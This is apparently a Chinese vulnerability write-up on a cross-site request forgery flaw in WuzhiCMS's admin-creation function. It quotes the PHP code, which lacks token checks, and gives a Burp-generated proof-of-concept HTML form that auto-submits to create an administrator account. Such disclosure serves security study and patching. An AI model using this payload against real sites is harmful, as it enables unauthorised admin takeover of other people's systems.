1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 public function add ( ) { if (isset ($GLOBALS ['submit' ])) { if (empty ($GLOBALS ['form' ]['username' ])) MSG (L ('parameter error' )); $username = $GLOBALS ['form' ]['username' ]; $r = $this ->db->get_one ('member' ,array ('username' =>$username )); if (!$r ['uid' ]) MSG (L ('账号不存在,请先管理会员处-添加账号' )); $rs = $this ->db->get_one ('admin' ,array ('uid' =>$r ['uid' ])); if ($rs ) MSG (L ('管理员已存在!' )); $formdata = array (); $formdata ['uid' ] = $r ['uid' ]; if (empty ($GLOBALS ['form' ]['password' ])) { $formdata ['password' ] = '' ; } else { $factor = substr (random_string ('md5' ),0 ,6 ); $password = md5 (md5 ($GLOBALS ['form' ]['password' ]).$factor ); $formdata ['password' ] = $password ; $formdata ['factor' ] = $factor ; } $formdata ['role' ] = ',' .implode (',' ,$GLOBALS ['form' ]['role' ]).',' ; $formdata ['truename' ] = remove_xss ($GLOBALS ['form' ]['truename' ]); $this ->db->insert ('admin' ,$formdata ); MSG (L ('operation success' )); } else { $show_formjs = 1 ; $form = load_class ('form' ); $roles = $this ->db->get_list ('admin_role' , '' , '*' , 0 , 100 ); include $this ->template ('power_add' ); } }
只对提交的参数进行判断检查是否有用户名,两次 get_one()从数据库查询该用户是否在会员表中存在,是否已经是管理员, $this->db->insert(‘admin’,$formdata);直接插入数据库并未对身份 没有进行 token 校验或者其他手段,这就导致我们可以伪造数据包进行 csrf
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 <html> <!-- CSRF PoC - generated by Burp Suite Professional --> <body> <form action="http://wuzhicms:8126/www/index.php?m=core&f=power&v=add&&_su=wuzhicms&_menuid=61&_submenuid=62" method="POST" > <input type="hidden" name="form[role][]" value="1" /> <input type="hidden" name="form[username]" value="test" /> <input type="hidden" name="form[password]" value="test" /> <input type="hidden" name="form[truename]" value="qwe" /> <input type="hidden" name="submit" value="æäº¤" /> <input type="submit" value="Submit request" /> </form> <script> history.pushState ('' , '' , '/' ); document.forms[0 ].submit (); </script> </body> </html>
成功添加